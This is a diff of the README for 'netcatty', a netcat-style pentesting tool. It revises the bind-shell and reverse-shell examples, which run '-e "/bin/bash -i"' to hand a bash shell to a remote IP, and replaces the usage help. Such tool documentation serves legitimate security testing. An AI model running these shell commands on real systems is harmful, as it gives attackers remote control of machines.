@@ -71,15 +71,15 @@ If you're short on ideas for payloads, check the following:
71
71
72
72
### Bind shell
73
73
74
- Target machine (with IP 192.168.1.1): ` nc -e "/bin/bash -i" -lp 4444`
74
+ Target machine (with IP 192.168.1.1): ` netcatty -e "/bin/bash -i" -lp 4444`
75
75
76
- Your terminal: ` ./ netcatty -a 192.168.1.1: 4444`
76
+ Your terminal: ` netcatty 192.168.1.1 4444 `
77
77
78
78
### Reverse shell
79
79
80
- Target machine: ` nc -e "/bin/bash -i" 192.168.1.100 4444`
80
+ Target machine: ` netcatty -e "/bin/bash -i" 192.168.1.100 4444`
81
81
82
- Your terminal (with IP 192.168.1.100): ` ./ netcatty -l : 4444`
82
+ Your terminal (with IP 192.168.1.100): ` netcatty -lp 4444 `
83
83
84
84
## Installation
85
85
@@ -103,17 +103,40 @@ gox -output "dist/{{.Dir}}_{{.OS}}_{{.Arch}}"
103
103
## Usage
104
104
105
105
```
106
- Usage of ./netcatty:
107
- -a string
108
- Listen/Connect address in the form of 'ip:port'.
109
- Domains, IPv6 as ip and Service as port ('localhost:http') also work. (default ":4444")
110
- -l Enable listening mode
111
- -m Disable automatic shell detection and TTY spawn on remote
112
- -n string
113
- Network type to use. Known networks are:
114
- To connect: tcp, tcp4 (IPv4-only), tcp6 (IPv6-only), unix and unixpacket
115
- To listen: tcp, tcp4, tcp6, unix or unixpacket
116
- (default "tcp")
106
+ Usage:
107
+ netcatty [OPTIONS] [hostname] [port]
108
+
109
+ Application Options:
110
+ -l, --listen Listen mode, for inbound connects
111
+ -p, --local-port= Local port number
112
+ -r, --randomize Randomize local and remote ports
113
+ -s, --source= Local source address (ip or hostname)
114
+ -T, --telnet answer using TELNET negotiation
115
+ -v, --verbose -- Not effective, backwards compatibility
116
+ -V, --version Output version information and exit
117
+
118
+ Service:
119
+ -P, --protocol= Provide protocol in the form of
120
+ tcp{,4,6}|udp{,4,6}|unix{,gram,packet}|ip{,4,6}[:<protocol-number>|:<protocol-name>]
121
+ For <protocol-number> check
122
+ https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml
123
+ -t, --tcp TCP mode (default)
124
+ -u, --udp UDP mode
125
+
126
+ InOut:
127
+ -e, --exec= Program to exec after connect
128
+ -i, --interval= Delay interval for data sent, ports scanned
129
+ -L, --tunnel= Forward local port to remote address
130
+ -o, --output= Output hexdump traffic to FILE (implies -x)
131
+ -x, --hexdump Hexdump incoming and outgoing traffic
132
+ -z, --zero Zero-I/O mode (used for scanning)
133
+
134
+ Action:
135
+ -D, --detect Detect remote shell automatically and try to raise a TTY on the remote
136
+ -R, --auto-raw Put local TTY in Raw mode on connect (action)
137
+
138
+ Help Options:
139
+ -h, --help Show this help message
117
140
```
118
141
119
142
---
0 commit comments